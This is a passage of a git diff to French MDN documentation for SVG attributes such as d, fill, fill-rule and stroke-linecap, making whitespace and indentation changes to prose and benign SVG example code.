cx="50" rx="45" ry="25" /> <rect x="5" y="205" width="90" height="90" fill="url(#myGradient)" /> </svg> @@ -101,7 +101,7 @@ Pour un élément {{SVGElement('ellipse')}}, `cy` définit la coordonnée y de s ## radialGradient -Pour un élément {{SVGElement('radialGradient')}}, `cy` définit la coordonnées x du plus grand cercle pour le dégradé radial (c'est-à-dire du plus externe). Le dégradé sera dessiné de telle façon que la [limite de dégradé](/fr/docs/SVG/Element/stop "/en-US/docs/SVG/Element/stop") de **100%** corresponde au périmètre de ce plus grand cercle. +Pour un élément {{SVGElement('radialGradient')}}, `cy` définit la coordonnées x du plus grand cercle pour le dégradé radial (c'est-à-dire du plus externe). Le dégradé sera dessiné de telle façon que la [limite de dégradé](/fr/docs/SVG/Element/stop "/en-US/docs/SVG/Element/stop") de **100%** corresponde au périmètre de ce plus grand cercle. <table class="standard-table"> <tbody> diff --git a/files/fr/web/svg/attribute/d/index.md b/files/fr/web/svg/attribute/d/index.md index 45b5d6043d..8fcaeb7919 100644 --- a/files/fr/web/svg/attribute/d/index.md +++ b/files/fr/web/svg/attribute/d/index.md @@ -8,11 +8,11 @@ translation_of: Web/SVG/Attribute/d --- {{SVGRef}} -L'attribut **`d`** définit un tracé à dessiner. +L'attribut **`d`** définit un tracé à dessiner. La définition d'un tracé est une liste de commandes de tracé où chaque commande est composée d'une lettre pour la commande, et de nombres qui représentent les paramètres de la commande. Les commandes sont détaillées ci-dessous. -Trois éléments ont cet attribut : {{SVGElement("path")}}, {{SVGElement("glyph")}}, and {{SVGElement("missing-glyph")}} +Trois éléments ont cet attribut : {{SVGElement("path")}}, {{SVGElement("glyph")}}, and {{SVGElement("missing-glyph")}} ## Exemple @@ -22,7 +22,7 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> - <path fill="none" stroke="red" + <path fill="none" stroke="red" d="M 10,30 A 20, 20 0, 0, 1 50, 30 A 20, 20 0, 0, 1 90, 30 @@ -62,7 +62,7 @@ Pour un {{SVGElement('path')}}, `d` est une chaîne de caractère qui contient u > **Attention :** Depuis SVG2, {{SVGElement('glyph')}} est dépréciée et ne doit plus être utilisé. -Pour un {{SVGElement('glyph')}}, `d` est une chaîne de caractères qui contient une série de commandes de tracé qui définissent la forme du contour de la glyphe. +Pour un {{SVGElement('glyph')}}, `d` est une chaîne de caractères qui contient une série de commandes de tracé qui définissent la forme du contour de la glyphe. <table class="standard-table"> <tbody> @@ -85,13 +85,13 @@ Pour un {{SVGElement('glyph')}}, `d` est une chaîne de caractères qui contien </tbody> </table> -> **Note :** Le point d'origine (coordonnée `0,0`) est généralement le point du _coin en haut à gauche_ du context. Néanmoins, l'élément {{SVGElement("glyph")}} a son point d'origine dans le coin en bas à gauche de son enveloppe. +> **Note :** Le point d'origine (coordonnée `0,0`) est généralement le point du _coin en haut à gauche_ du context. Néanmoins, l'élément {{SVGElement("glyph")}} a son point d'origine dans le coin en bas à gauche de son enveloppe. ## missing-glyph > **Attention :** Depuis SVG2, {{SVGElement('missing-glyph')}} est dépréciée et ne doit plus être utilisé. -Pour un {{SVGElement('missing-glyph')}}, `d` est une chaîne de caractères qui contient une série de commandes de tracé qui définissent la forme du contour de la glyphe. +Pour un {{SVGElement('missing-glyph')}}, `d` est une chaîne de caractères qui contient une série de commandes de tracé qui définissent la forme du contour de la glyphe. <table class="standard-table"> <tbody> @@ -128,7 +128,7 @@ SVG définit 6 types de commandes, pour un total de 20 commandes : > **Note :** Les commandes sont sensibles à la casse; une commande en majuscule attend des positions absolues en arguments, alors qu'une commande en minuscule attend des points relatifs à la position actuelle du point. -Il est toujours possible de spécifier une valeur négative en argument d'une commande : des angles négatifs pointeront dans une direction vers le sens inverse des aiguilles d'une montre; des positions `x` et `y` seront interprétées commandes coordonnées négatives; des valeurs `x` négatives se déplaceront vers la gauche; et des valeurs `y` négatives se déplaceront vers le haut. +Il est toujours possible de spécifier une valeur négative en argument d'une commande : des angles négatifs pointeront dans une direction vers le sens inverse des aiguilles d'une montre; des positions `x` et `y` seront interprétées commandes coordonnées négatives; des valeurs `x` négatives se déplaceront vers la gauche; et des valeurs `y` négatives se déplaceront vers le haut. ## Moveto (aller à) @@ -169,11 +169,11 @@ Finalement, toutes les commandes de courbes de Bézier peuvent servir de "polyb ## Arcto -Parfois il est plus simple de définir un `path` comme une courbe elliptique plutôt que comme une courbe de Bézier. Dans cette optique, les commandes Arcto sont supportées par les balises `path`. +Parfois il est plus simple de définir un `path` comme une courbe elliptique plutôt que comme une courbe de Bézier. Dans cette optique, les commandes Arcto sont supportées par les balises `path`. -La définition d'un Arcto est relativement complexe : `A rx, ry xAxisRotate LargeArcFlag, SweepFlag x, y`, où `rx` et `ry` représentent les rayons sur les axes x et y, respectivement ; `LargeArcFlag` est une valeur à 0 ou 1, et permet de déterminer si le plus petit (0) ou le plus grand (1) arc possible doit être dessiné ; `SweepFlag` est une valeur à 0 ou 1 et définit le sens de balayage de la courbe : horaire (1) ou anti-horaire (0) ; et enfin `x` et `y` sont les coordonnées de destination. +La définition d'un Arcto est relativement complexe : `A rx, ry xAxisRotate LargeArcFlag, SweepFlag x, y`, où `rx` et `ry` représentent les rayons sur les axes x et y, respectivement ; `LargeArcFlag` est une valeur à 0 ou 1, et permet de déterminer si le plus petit (0) ou le plus grand (1) arc possible doit être dessiné ; `SweepFlag` est une valeur à 0 ou 1 et définit le sens de balayage de la courbe : horaire (1) ou anti-horaire (0) ; et enfin `x` et `y` sont les coordonnées de destination. -La propriété `xAxisRotate` est censée changer l'axe des x relativement au viewport de référence. Cependant, il semble que cette propriété n'ait aucun effet avec le moteur de rendu Gecko 7. +La propriété `xAxisRotate` est censée changer l'axe des x relativement au viewport de référence. Cependant, il semble que cette propriété n'ait aucun effet avec le moteur de rendu Gecko 7. ## ClosePath (fermer un chemin) diff --git a/files/fr/web/svg/attribute/dy/index.md b/files/fr/web/svg/attribute/dy/index.md index 6889ac8204..a8ae811c3f 100644 --- a/files/fr/web/svg/attribute/dy/index.md +++ b/files/fr/web/svg/attribute/dy/index.md @@ -20,16 +20,16 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> - <!-- Lignes indiquant la position des glyphes --> - <line x1="10%" x2="10%" y1="0" y2="100%" /> - <line x1="0" x2="100%" y1="30%" y2="30%" /> - <line x1="0" x2="100%" y1="80%" y2="80%" /> + <!-- Lignes indiquant la position des glyphes --> + <line x1="10%" x2="10%" y1="0" y2="100%" /> + <line x1="0" x2="100%" y1="30%" y2="30%" /> + <line x1="0" x2="100%" y1="80%" y2="80%" /> - <!-- Un texte de référence --> - <text x="10%" y="30%" fill="grey">SVG</text> + <!-- Un texte de référence --> + <text x="10%" y="30%" fill="grey">SVG</text> - <!-- Le même texte avec un décalage sur l'axe y --> - <text dy="50%" x="10%" y="30%">SVG</text> + <!-- Le même texte avec un décalage sur l'axe y --> + <text dy="50%" x="10%" y="30%">SVG</text> </svg> ``` @@ -186,29 +186,29 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 150 100" xmlns="http://www.w3.org/2000/svg"> - <!-- Lignes horizontales --> - <line x1="0" x2="100%" y1="30" y2="30" /> - <line x1="0" x2="100%" y1="40" y2="40" /> - <line x1="0" x2="100%" y1="50" y2="50" /> - <line x1="0" x2="100%" y1="60" y2="60" /> - - <!-- Lignes verticales --> - <line x1="10" x2="10" y1="0" y2="100%" /> - <line x1="50" x2="50" y1="0" y2="100%" /> - <line x1="90" x2="90" y1="0" y2="100%" /> - - <!-- Le comportement change en fonction du nombre de valeurs de l'attribut --> - <text dy="20" x="10" y="30">SVG</text> - <text dy="0 10" x="50" y="30">SVG</text> - <text dy="0 10 20" x="90" y="30">SVG</text> + <!-- Lignes horizontales --> + <line x1="0" x2="100%" y1="30" y2="30" /> + <line x1="0" x2="100%" y1="40" y2="40" /> + <line x1="0" x2="100%" y1="50" y2="50" /> + <line x1="0" x2="100%" y1="60" y2="60" /> + + <!-- Lignes verticales --> + <line x1="10" x2="10" y1="0" y2="100%" /> + <line x1="50" x2="50" y1="0" y2="100%" /> + <line x1="90" x2="90" y1="0" y2="100%" /> + + <!-- Le comportement change en fonction du nombre de valeurs de l'attribut --> + <text dy="20" x="10" y="30">SVG</text> + <text dy="0 10" x="50" y="30">SVG</text> + <text dy="0 10 20" x="90" y="30">SVG</text> </svg> ``` ```css line { - stroke: red; - stroke-width: .5px; - stroke-dasharray: 3px; + stroke: red; + stroke-width: .5px; + stroke-dasharray: 3px; } ``` diff --git a/files/fr/web/svg/attribute/fill-opacity/index.md b/files/fr/web/svg/attribute/fill-opacity/index.md index f4039449e0..34bfa8c169 100644 --- a/files/fr/web/svg/attribute/fill-opacity/index.md +++ b/files/fr/web/svg/attribute/fill-opacity/index.md @@ -67,7 +67,7 @@ html,body,svg { height:100% } </tbody> </table> -> **Note :** SVG2 introduit les valeurs en pourcentage pour `fill-opacity`. Cependant, ce n'est pas souvent pris en charge pour le moment (_Voir {{anch('Compatibilité des navigateurs')}} ci-dessous_). Il est par conséquent recommandé d'utiliser les valeurs de l'intervalle `[0-1]`. +> **Note :** SVG2 introduit les valeurs en pourcentage pour `fill-opacity`. Cependant, ce n'est pas souvent pris en charge pour le moment (_Voir {{anch('Compatibilité des navigateurs')}} ci-dessous_). Il est par conséquent recommandé d'utiliser les valeurs de l'intervalle `[0-1]`. ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/attribute/fill-rule/index.md b/files/fr/web/svg/attribute/fill-rule/index.md index a3e4c78a38..488eb66676 100644 --- a/files/fr/web/svg/attribute/fill-rule/index.md +++ b/files/fr/web/svg/attribute/fill-rule/index.md @@ -23,8 +23,8 @@ html,body,svg { height:100% } ```html <svg viewBox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- Valeur par défaut pour fill-rule --> - <polygon fill-rule="nonzero" stroke="red" - points="50,0 21,90 98,35 2,35 79,90"/> + <polygon fill-rule="nonzero" stroke="red" + points="50,0 21,90 98,35 2,35 79,90"/> <!-- Les points au centre de la forme ont 2 @@ -33,8 +33,8 @@ html,body,svg { height:100% } dehors de la forme, et l'intérieur de l'étoile est donc vide. --> - <polygon fill-rule="evenodd" stroke="red" - points="150,0 121,90 198,35 102,35 179,90"/> + <polygon fill-rule="evenodd" stroke="red" + points="150,0 121,90 198,35 102,35 179,90"/> </svg> ``` @@ -75,27 +75,27 @@ html,body,svg { height:100% } ```html <svg viewBox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"> - <!-- Effet de la règle de remplissage sur les segments qui se croisent --> - <polygon fill-rule="nonzero" stroke="red" - points="50,0 21,90 98,35 2,35 79,90"/> - - <!-- - Effet sur une forme dans une forme - lorsque le segment va dans la même direction - (vers la droite) - --> - <path fill-rule="nonzero" stroke="red" - d="M110,0 h90 v90 h-90 z - M130,20 h50 v50 h-50 z"/> - - <!-- - Effet sur une forme dans une forme - lorsque le segment va dans la direction opposée - (vers la gauche contre vers la droite) - --> - <path fill-rule="nonzero" stroke="red" - d="M210,0 h90 v90 h-90 z - M230,20 v50 h50 v-50 z"/> + <!-- Effet de la règle de remplissage sur les segments qui se croisent --> + <polygon fill-rule="nonzero" stroke="red" + points="50,0 21,90 98,35 2,35 79,90"/> + + <!-- + Effet sur une forme dans une forme + lorsque le segment va dans la même direction + (vers la droite) + --> + <path fill-rule="nonzero" stroke="red" + d="M110,0 h90 v90 h-90 z + M130,20 h50 v50 h-50 z"/> + + <!-- + Effet sur une forme dans une forme + lorsque le segment va dans la direction opposée + (vers la gauche contre vers la droite) + --> + <path fill-rule="nonzero" stroke="red" + d="M210,0 h90 v90 h-90 z + M230,20 v50 h50 v-50 z"/> </svg> ``` @@ -113,27 +113,27 @@ html,body,svg { height:100% } ```html <svg viewBox="-10 -10 320 120" xmlns="http://www.w3.org/2000/svg"> - <!-- Effet de la règle de remplissage sur les segments qui se croisent --> - <polygon fill-rule="evenodd" stroke="red" - points="50,0 21,90 98,35 2,35 79,90"/> - - <!-- - Effet sur une forme dans une forme - lorsque le segment va dans la même direction - (vers la droite) - --> - <path fill-rule="evenodd" stroke="red" - d="M110,0 h90 v90 h-90 z - M130,20 h50 v50 h-50 z"/> - - <!-- - Effet sur une forme dans une forme - lorsque le segment va dans la direction opposée - (vers la gauche contre vers la droite) - --> - <path fill-rule="evenodd" stroke="red" - d="M210,0 h90 v90 h-90 z - M230,20 v50 h50 v-50 z"/> + <!-- Effet de la règle de remplissage sur les segments qui se croisent --> + <polygon fill-rule="evenodd" stroke="red" + points="50,0 21,90 98,35 2,35 79,90"/> + + <!-- + Effet sur une forme dans une forme + lorsque le segment va dans la même direction + (vers la droite) + --> + <path fill-rule="evenodd" stroke="red" + d="M110,0 h90 v90 h-90 z + M130,20 h50 v50 h-50 z"/> + + <!-- + Effet sur une forme dans une forme + lorsque le segment va dans la direction opposée + (vers la gauche contre vers la droite) + --> + <path fill-rule="evenodd" stroke="red" + d="M210,0 h90 v90 h-90 z + M230,20 v50 h50 v-50 z"/> </svg> ``` diff --git a/files/fr/web/svg/attribute/fill/index.md b/files/fr/web/svg/attribute/fill/index.md index b90f9e2d8f..2190842df0 100644 --- a/files/fr/web/svg/attribute/fill/index.md +++ b/files/fr/web/svg/attribute/fill/index.md @@ -22,25 +22,25 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> - <!-- Remplir avec une simple couleur --> - <circle cx="50" cy="50" r="40" fill="pink" /> - - <!-- Remplir avec un dégradé --> - <defs> - <radialGradient id="myGradient"> - <stop offset="0%" stop-color="pink" /> - <stop offset="100%" stop-color="black" /> - </radialGradient> - </defs> - <circle cx="150" cy="50" r="40" fill="url(#myGradient)" /> - - <!-- Définit l'état final d'un cercle animé --> - <circle cx="250" cy="50" r="20"> - <animate attributeType="XML" - attributeName="r" - from="0" to="40" dur="5s" - fill="freeze" /> - </circle> + <!-- Remplir avec une simple couleur --> + <circle cx="50" cy="50" r="40" fill="pink" /> + + <!-- Remplir avec un dégradé --> + <defs> + <radialGradient id="myGradient"> + <stop offset="0%" stop-color="pink" /> + <stop offset="100%" stop-color="black" /> + </radialGradient> + </defs> + <circle cx="150" cy="50" r="40" fill="url(#myGradient)" /> + + <!-- Définit l'état final d'un cercle animé --> + <circle cx="250" cy="50" r="20"> + <animate attributeType="XML" + attributeName="r" + from="0" to="40" dur="5s" + fill="freeze" /> + </circle> </svg> ``` diff --git a/files/fr/web/svg/attribute/height/index.md b/files/fr/web/svg/attribute/height/index.md index e8b1b9f7e9..fdbe09c669 100644 --- a/files/fr/web/svg/attribute/height/index.md +++ b/files/fr/web/svg/attribute/height/index.md @@ -8,9 +8,9 @@ translation_of: Web/SVG/Attribute/height --- « [SVG Attribute reference home](/fr/SVG/Attribute "en/SVG/Attribute") -Cet attribut indique une dimension verticale `<length>` dans le système de coordonnées. La donnée (ou coordonnée) définie par cet attribut dépend de l'élément sur lequel il est appliqué. La plupart du temps, il représente la hauteur de la région rectangulaire composant l'élément (voir les exceptions dans la documentation pour chaque type d'élément). +Cet attribut indique une dimension verticale `<length>` dans le système de coordonnées. La donnée (ou coordonnée) définie par cet attribut dépend de l'élément sur lequel il est appliqué. La plupart du temps, il représente la hauteur de la région rectangulaire composant l'élément (voir les exceptions dans la documentation pour chaque type d'élément). -Cet attribut doit être spécifié, hormis pour les éléments {{ SVGElement("svg") }} dont la valeur par défaut est de 100% et {{ SVGElement("mask") }} dont la valeur par défaut est de 120%. +Cet attribut doit être spécifié, hormis pour les éléments {{ SVGElement("svg") }} dont la valeur par défaut est de 100% et {{ SVGElement("mask") }} dont la valeur par défaut est de 120%. ## Contexte d'utilisation @@ -83,9 +83,9 @@ Cet attribut doit être spécifié, hormis pour les éléments {{ SVGElement("sv ## Eléments -Les éléments suivants peuvent utiliser l'attribut `height` : +Les éléments suivants peuvent utiliser l'attribut `height` : -- [Filter primitive elements](/fr/SVG/Element#FilterPrimitive "en/SVG/Element#FilterPrimitive") » +- [Filter primitive elements](/fr/SVG/Element#FilterPrimitive "en/SVG/Element#FilterPrimitive") » - {{ SVGElement("filter") }} - {{ SVGElement("foreignObject") }} - {{ SVGElement("image") }} diff --git a/files/fr/web/svg/attribute/in/index.md b/files/fr/web/svg/attribute/in/index.md index f4ce9edcd6..9efefc7b37 100644 --- a/files/fr/web/svg/attribute/in/index.md +++ b/files/fr/web/svg/attribute/in/index.md @@ -68,25 +68,25 @@ Si la même valeur de {{SVGAttr("result")}} apparaît à de multiples endroits d ```html <div style="width: 420px; height: 220px;"> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> - <defs> - <filter id="backgroundMultiply"> + <defs> + <filter id="backgroundMultiply"> <!-- Ça ne marchera pas. --> - <feBlend in="BackgroundImage" in2="SourceGraphic" mode="multiply"/> - </filter> - </defs> - <image xlink:href="mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> - <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#backgroundMultiply);" /> + <feBlend in="BackgroundImage" in2="SourceGraphic" mode="multiply"/> + </filter> + </defs> + <image xlink:href="mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> + <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#backgroundMultiply);" /> </svg> <svg style="width:200px; height:200px; display: inline;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> - <defs> - <filter id="imageMultiply"> + <defs> + <filter id="imageMultiply"> <!-- Solution de contournement. --> - <feImage xlink:href="mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> - <feBlend in2="SourceGraphic" mode="multiply"/> - </filter> - </defs> - <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#imageMultiply);"/> + <feImage xlink:href="mdn_logo_only_color.png" x="10%" y="10%" width="80%" height="80%"/> + <feBlend in2="SourceGraphic" mode="multiply"/> + </filter> + </defs> + <circle cx="50%" cy="40%" r="40%" fill="#c00" style="filter:url(#imageMultiply);"/> </svg> </div> ``` @@ -95,7 +95,7 @@ Si la même valeur de {{SVGAttr("result")}} apparaît à de multiples endroits d ## Éléments -Les éléments suivants peuvent utiliser l'attribut `in`: +Les éléments suivants peuvent utiliser l'attribut `in`: - {{SVGElement("feBlend")}} - {{SVGElement("feColorMatrix")}} diff --git a/files/fr/web/svg/attribute/points/index.md b/files/fr/web/svg/attribute/points/index.md index 3f3012b7f7..7e43cf8592 100644 --- a/files/fr/web/svg/attribute/points/index.md +++ b/files/fr/web/svg/attribute/points/index.md @@ -18,7 +18,7 @@ html,body,svg { height:100% } ```html <svg viewBox="-10 -10 220 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline est une forme ouverte --> - <polyline stroke="black" fill="none" + <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> <!-- polygon est une forme fermée --> @@ -67,7 +67,7 @@ html,body,svg { height:100% } ```html <svg viewBox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polyline est une forme ouverte --> - <polyline stroke="black" fill="none" + <polyline stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90"/> </svg> ``` @@ -106,7 +106,7 @@ html,body,svg { height:100% } ```html <svg viewBox="-10 -10 120 120" xmlns="http://www.w3.org/2000/svg"> <!-- polygon est une forme fermée --> - <polygon stroke="black" fill="none" + <polygon stroke="black" fill="none" points="50,0 21,90 98,35 2,35 79,90" /> </svg> ``` diff --git a/files/fr/web/svg/attribute/presentation/index.md b/files/fr/web/svg/attribute/presentation/index.md index 7eef5286d7..cd8967d169 100644 --- a/files/fr/web/svg/attribute/presentation/index.md +++ b/files/fr/web/svg/attribute/presentation/index.md @@ -260,7 +260,7 @@ Les _attributs SVG de présentation_ sont des propriétés CSS pouvant être uti - : Définit la longueur des espaces entre les mots d'un texte. _Valeur_: [\<length>](/fr/SVG/Content_type#Length "https://developer.mozilla.org/en/SVG/Content_type#Length")|**`inherit`**; _Animation_: **Oui** - **{{SVGAttr('writing-mode')}}** - - : Spécifie si la direction d'un élément {{SVGElement('text')}} doit être de gauche-à-droite, droite-à-gauche, ou de haut-en-bas. + - : Spécifie si la direction d'un élément {{SVGElement('text')}} doit être de gauche-à-droite, droite-à-gauche, ou de haut-en-bas. _Valeur_: **`lr-tb`**|`rl-tb`|`tb-rl`|`lr`|`rl`|`tb`|`inherit`; _Animation_: **Oui** ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/attribute/seed/index.md b/files/fr/web/svg/attribute/seed/index.md index a1a659221d..6593ce1f7b 100644 --- a/files/fr/web/svg/attribute/seed/index.md +++ b/files/fr/web/svg/attribute/seed/index.md @@ -8,7 +8,7 @@ translation_of: Web/SVG/Attribute/seed --- « [Page de référence des attributs SVG](/fr/docs/Web/SVG/Attribute "en/SVG/Attribute") -L'attribut `seed` représente le nombre palier pour la pseudo génération d'un nombre aléatoire via la primitive {{SVGElement("feTurbulence")}}. +L'attribut `seed` représente le nombre palier pour la pseudo génération d'un nombre aléatoire via la primitive {{SVGElement("feTurbulence")}}. Si l'attribut n'est pas spécifié, alors le palier sera fixé à **0**. diff --git a/files/fr/web/svg/attribute/stroke-dasharray/index.md b/files/fr/web/svg/attribute/stroke-dasharray/index.md index 104acab79c..5a07fea97b 100644 --- a/files/fr/web/svg/attribute/stroke-dasharray/index.md +++ b/files/fr/web/svg/attribute/stroke-dasharray/index.md @@ -6,11 +6,11 @@ tags: - SVG translation_of: Web/SVG/Attribute/stroke-dasharray --- -L'attribut `stroke-dasharray` contrôle le motif et l'espacement entre les segments utilisés pour tracer le contour d'un élément via l'attribut stroke. L'attribut définit ainsi un motif constitué d'une suite de segments et de vides dont la forme se rapprochera d'une ligne de pointillés. +L'attribut `stroke-dasharray` contrôle le motif et l'espacement entre les segments utilisés pour tracer le contour d'un élément via l'attribut stroke. L'attribut définit ainsi un motif constitué d'une suite de segments et de vides dont la forme se rapprochera d'une ligne de pointillés. > **Note :** Comme il s'agit d'un attribut de présentation, `stroke-dasharray` peut aussi être utilisé directement dans une feuille de style CSS. -Les éléments suivants peuvent utiliser l'attribut `stroke-dasharray`: {{SVGElement('altGlyph')}}, {{SVGElement('circle')}}, {{SVGElement('ellipse')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}} +Les éléments suivants peuvent utiliser l'attribut `stroke-dasharray`: {{SVGElement('altGlyph')}}, {{SVGElement('circle')}}, {{SVGElement('ellipse')}}, {{SVGElement('path')}}, {{SVGElement('polygon')}}, {{SVGElement('polyline')}}, {{SVGElement('rect')}}, {{SVGElement('text')}}, {{SVGElement('textPath')}}, {{SVGElement('tref')}}, and {{SVGElement('tspan')}} ## Exemple @@ -59,7 +59,7 @@ html,body,svg { height:100% } </table> - \<dasharray> - - : Il s'agit d'une liste de mesures [\<length>](/fr/SVG/Content_type#Length "en/SVG/Content_type#Length") et [\<percentage>](/fr/SVG/Content_type#Percentage "en/SVG/Content_type#Percentage") séparées par des virgules ou des espaces blancs. Ils permettent de spécifier la longeur de l'alternance entre segments et vides. Si un nombre impair de valeurs est entré, alors la liste sera répartie afin de créer un nombre pair de valeurs par répétition. Ainsi, **5,3,2** sera rendu comme **5,3,2,5,3,2**. + - : Il s'agit d'une liste de mesures [\<length>](/fr/SVG/Content_type#Length "en/SVG/Content_type#Length") et [\<percentage>](/fr/SVG/Content_type#Percentage "en/SVG/Content_type#Percentage") séparées par des virgules ou des espaces blancs. Ils permettent de spécifier la longeur de l'alternance entre segments et vides. Si un nombre impair de valeurs est entré, alors la liste sera répartie afin de créer un nombre pair de valeurs par répétition. Ainsi, **5,3,2** sera rendu comme **5,3,2,5,3,2**. ## Compatibilité des navigateurs diff --git a/files/fr/web/svg/attribute/stroke-dashoffset/index.md b/files/fr/web/svg/attribute/stroke-dashoffset/index.md index a256af04fc..9961fe37a6 100644 --- a/files/fr/web/svg/attribute/stroke-dashoffset/index.md +++ b/files/fr/web/svg/attribute/stroke-dashoffset/index.md @@ -22,43 +22,43 @@ html,body,svg { height:100% } ```html <svg viewBox="-3 0 33 10" xmlns="http://www.w3.org/2000/svg"> - <!-- Pas de tiret --> - <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> + <!-- Pas de tiret --> + <line x1="0" y1="1" x2="30" y2="1" stroke="black" /> - <!-- Pas de décalage --> - <line x1="0" y1="3" x2="30" y2="3" stroke="black" - stroke-dasharray="3 1" /> + <!-- Pas de décalage --> + <line x1="0" y1="3" x2="30" y2="3" stroke="black" + stroke-dasharray="3 1" /> - <!-- - Le début des tirets est décalé + <!-- + Le début des tirets est décalé de 3 unités vers la gauche - --> - <line x1="0" y1="5" x2="30" y2="5" stroke="black" - stroke-dasharray="3 1" - stroke-dashoffset="3" /> - - <!-- - Le début des tirets est décalé - de 3 unités vers la droite (-3) - --> - <line x1="0" y1="7" x2="30" y2="7" stroke="black" - stroke-dasharray="3 1" - stroke-dashoffset="-3" /> - - <!-- + --> + <line x1="0" y1="5" x2="30" y2="5" stroke="black" + stroke-dasharray="3 1" + stroke-dashoffset="3" /> + + <!-- + Le début des tirets est décalé + de 3 unités vers la droite (-3) + --> + <line x1="0" y1="7" x2="30" y2="7" stroke="black" + stroke-dasharray="3 1" + stroke-dashoffset="-3" /> + + <!-- Le début des tirets est décalé de 1 unité vers la gauche ce qui affiche la même chose que l'exemple précédent - --> - <line x1="0" y1="9" x2="30" y2="9" stroke="black" - stroke-dasharray="3 1" - stroke-dashoffset="1" /> - - <!-- - Lignes rouges pour indiquer la position - de départ des tirets - --> - <path d="M0,5 h-3 M0,7 h3 M0,9 h-1" stroke="rgba(255,0,0,.5)" /> + --> + <line x1="0" y1="9" x2="30" y2="9" stroke="black" + stroke-dasharray="3 1" + stroke-dashoffset="1" /> + + <!-- + Lignes rouges pour indiquer la position + de départ des tirets + --> + <path d="M0,5 h-3 M0,7 h3 M0,9 h-1" stroke="rgba(255,0,0,.5)" /> </svg> ``` diff --git a/files/fr/web/svg/attribute/stroke-linecap/index.md b/files/fr/web/svg/attribute/stroke-linecap/index.md index 82531a2d55..b9366c8aac 100644 --- a/files/fr/web/svg/attribute/stroke-linecap/index.md +++ b/files/fr/web/svg/attribute/stroke-linecap/index.md @@ -23,23 +23,23 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> - <!-- Effet de la valeur "butt" (valeur par défaut) --> - <line x1="1" y1="1" x2="5" y2="1" stroke="black" - stroke-linecap="butt" /> + <!-- Effet de la valeur "butt" (valeur par défaut) --> + <line x1="1" y1="1" x2="5" y2="1" stroke="black" + stroke-linecap="butt" /> - <!-- Effet de la valeur "round" --> - <line x1="1" y1="3" x2="5" y2="3" stroke="black" - stroke-linecap="round" /> + <!-- Effet de la valeur "round" --> + <line x1="1" y1="3" x2="5" y2="3" stroke="black" + stroke-linecap="round" /> - <!-- Effet de la valeur "square" --> - <line x1="1" y1="5" x2="5" y2="5" stroke="black" - stroke-linecap="square" /> + <!-- Effet de la valeur "square" --> + <line x1="1" y1="5" x2="5" y2="5" stroke="black" + stroke-linecap="square" /> - <!-- + <!-- Les lignes roses indiquent la position du chemin pour chaque trait - --> - <path d="M1,1 h4 M1,3 h4 M1,5 h4" stroke="pink" stroke-width="0.025" /> + --> + <path d="M1,1 h4 M1,3 h4 M1,5 h4" stroke="pink" stroke-width="0.025" /> </svg> ``` @@ -77,20 +77,20 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> - <!-- Effet de la valeur "butt" --> - <path d="M1,1 h4" stroke="black" - stroke-linecap="butt" /> + <!-- Effet de la valeur "butt" --> + <path d="M1,1 h4" stroke="black" + stroke-linecap="butt" /> - <!-- Effet de la valeur "butt" sur un chemin de longueur zéro --> - <path d="M3,3 h0" stroke="black" - stroke-linecap="butt" /> + <!-- Effet de la valeur "butt" sur un chemin de longueur zéro --> + <path d="M3,3 h0" stroke="black" + stroke-linecap="butt" /> - <!-- + <!-- Lignes roses pour indiquer la position du chemin pour chaque trait - --> - <path d="M1,1 h4" stroke="pink" stroke-width="0.025" /> + --> + <path d="M1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> @@ -112,20 +112,20 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> - <!-- Effet de la valeur "round" --> - <path d="M1,1 h4" stroke="black" - stroke-linecap="round" /> + <!-- Effet de la valeur "round" --> + <path d="M1,1 h4" stroke="black" + stroke-linecap="round" /> - <!-- Effet de la valeur "round" sur un chemin de longueur zéro --> - <path d="M3,3 h0" stroke="black" - stroke-linecap="round" /> + <!-- Effet de la valeur "round" sur un chemin de longueur zéro --> + <path d="M3,3 h0" stroke="black" + stroke-linecap="round" /> - <!-- + <!-- Lignes roses pour indiquer la position du chemin pour chaque trait - --> - <path d="M1,1 h4" stroke="pink" stroke-width="0.025" /> + --> + <path d="M1,1 h4" stroke="pink" stroke-width="0.025" /> <circle cx="1" cy="1" r="0.05" fill="pink" /> <circle cx="5" cy="1" r="0.05" fill="pink" /> <circle cx="3" cy="3" r="0.05" fill="pink" /> @@ -147,19 +147,19 @@ html,body,svg { height:100% } ```html <svg viewBox="0 0 6 4" 